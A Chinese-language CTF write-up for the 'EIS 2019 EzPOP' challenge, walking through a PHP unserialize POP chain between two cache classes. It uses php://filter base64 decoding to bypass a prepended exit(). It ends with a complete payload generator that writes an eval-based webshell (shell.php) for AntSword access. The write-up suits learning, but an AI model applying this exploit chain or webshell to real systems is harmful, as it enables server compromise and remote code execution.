「EIS 2019」EzPOP
做了这个题目,我收回我之前的话,我又懵逼了,不知道如何下手,还是自己的基础不够扎实,没关系,奥利给,淦!
首先看源代码:
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
源代码对于大佬来说看懂很简单,但对于我这种小白来讲确实是难。又比较长,不过咱也不着急对吧,一点点来审计,总能审计完的
首先看到A类
定义了三个被保护的变量,也就很明确了只能在本类访问,好的,接下来看__construct方法
,差不多相当于是初始化
看到cleanContents函数
这里将两个函数的定义和用法写出来,以便于理解
array_filp()反转数组中所有的键以及它们关联的值
array_intersect_key()比较两个数组的键名,并返回交集
这里的object函数
可控
好,继续看getForStorage函数
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
调用了cleanContents函数
传入了cache变量,而我们这里发现并没有cache这个变量,所以这个需要后续把变量定义传值(可控),可以看到返回值被json_encode(将数值转换成json数据存储格式。)
我们发现这里的complete变量也可控
ok,继续看到save函数
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
这里调用了getForStorage函数
A类中的store变量调用了set函数,但?好像A类并没有这个set函数,去B类看看,果真有一个set函数,好,别心急最后还有个__destruct方法
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
要想调用save函数,这里的autosave就得是flase,false false=true
接下来我们看到B类
getExpireTime函数
返回 int参数,也就相当于是格式化吧
protected functiongetExpireTime($expire): int {
return (int) $expire;
}
getCacheKey函数
拼接字符串
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
发现这里的options[‘prefix’]可控
接着是serialize函数
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
此serialize函数非彼serialize
我们看到如果传入的data参数将会格式化为string类型
可以看到$serialize变量
可控
最后重头戏来了
看到set函数
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
is_null()判断参数是否为NULL
很明显这里是NULL,所以这个变量我们可控
expire变量调用了getExpireTime这个函数,格式化为int类型
filename变量调用了getCacheKey这个函数,所以filename这个变量最终的值是和options[‘prefix’]拼接而成,然后根据filename创建目录(这个暂时不用关心)
接着看到data变量调用了serialize函数,正好这个函数需要传入一个值
看到
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
这里我们并不需要压缩,所以使options[‘data_compress’]=false即可绕过
最后这个地方data数据与<?php exit();?>连接,也就是说即使我们传上了木马也无济于事,会直接退出,也就是PHP中的死亡exit(),但是也不是没有绕过的方法,这里引用@p神的一篇文章又是膜拜p神的一天
由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以解码之后就剩phpexit了,但是呢base64算法解码时是4个字节一组,所以我们还需要在前面加个字符
回归正文
看到我们这个题目
<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n
中间部分sprintf('%012d', $expire)
代表12个字节
<?php\n// \n exit();?>\n
有20个字节
这里我们需要构造$expire = [0-9];
在这个范围内这一部分都是12个字节。
但是符合base64解码的字符只有9个字节(php//exit)故我们需要再加3个字节(24个字节4的倍数)
我们可以使用php伪协议来绕过
php://filter/write=convert.base64-decode/resource=
最后一个file_put_contents很明显的预示了此题需要写shell
我们几乎已经将所有的代码都熟悉了一遍,那么,进入正题,开始构造思路。
首先file_put_contents函数有两个参数filename和data,所以一个是写入shell的路径和shell的数据
data与死亡exit进行连接(可绕过)
filename参数是options[‘prefix’]和$name进行拼接的结果,而这里的**$name是形参**,所以这个$name是A类的key变量,是由save函数传递过来的
由于options[‘prefix’]可控
所以这里我们可以使
options['prefix']="php://filter/write=convert.base64-decode/resource=";
key="webshell.php"; //$name
好的,现在文件名已经构造好了,那么现在得构造shell的内容,也就是data变量,而data变量被serialize函数处理,是通过set函数中的$value变量传递过来的,而$value变量是A类中的**$contents变量传递**过来的,所以我们可以构造cache这个变量为数组,然后经过两个函数的处理,我们可以控制complete这个变量为shell的数据,经过json_encode这个函数的处理之后,由于json格式的字符都不满足base64编码的要求,所以我们可以将数据进行base64编码绕过,也就是
A->complete=base64_encode('xxx',base64_encode('<?php @eval($_POST["ro4lsc"]);?>'))
首先将shellcode进行base64编码使得base64decode的时候不会影响其内容,然后再次进行base64_encode是为了绕过死亡exit,由于解码之后只剩21个字符,所以这里需要自己添加三个字符,使得前面有24个字符可以base64正常解码不影响后面shellcode的执行
那么到这里data的内容也构造好了,可是我们发现
使用php伪协议只解了一次编码,而我们这里经历了两次base64编码
前面提到了一个serialize函数
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
可以看到返回值是$serialize,也就是说这里我们可以让这个变量为base64_decode函数对data变量进行解码。
看到
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
这里我们还需要传入一个cache为数组内容为空
A->cache=array();
好,现在我们可以看A类
save函数这个地方的利用很重要,它调用了getForStorage函数,后面的$this->store这个地方得是对象B才能调用set函数。
所以
A->store = new B();
然后一个大概的调用过程:
A::__destruct->save()->getForStorage()->cleanStorage()
B::save()->set()->getExpireTime()和getCacheKey()+serialize()->file_put_contents写入shell->getshell
一个大概的思路:
构造文件名:
$filename->options['prefix'].$name
$name->A::$key
构造payload:
$data->$value->A::$contents->$complete和$cleaned
payload:
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));
$this->key = "shell.php";
$this->store = new B();
$this->autosave = false;
$this->expire = 0;
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
}
echo urlencode(serialize(new A()));
最后使用?data=传递参数,它会在当前工作目录创建一个shell.php,菜刀orAntSword连接getshell。
后言
代码审计固然辛苦,但深究其原理还是很有意思的,加油!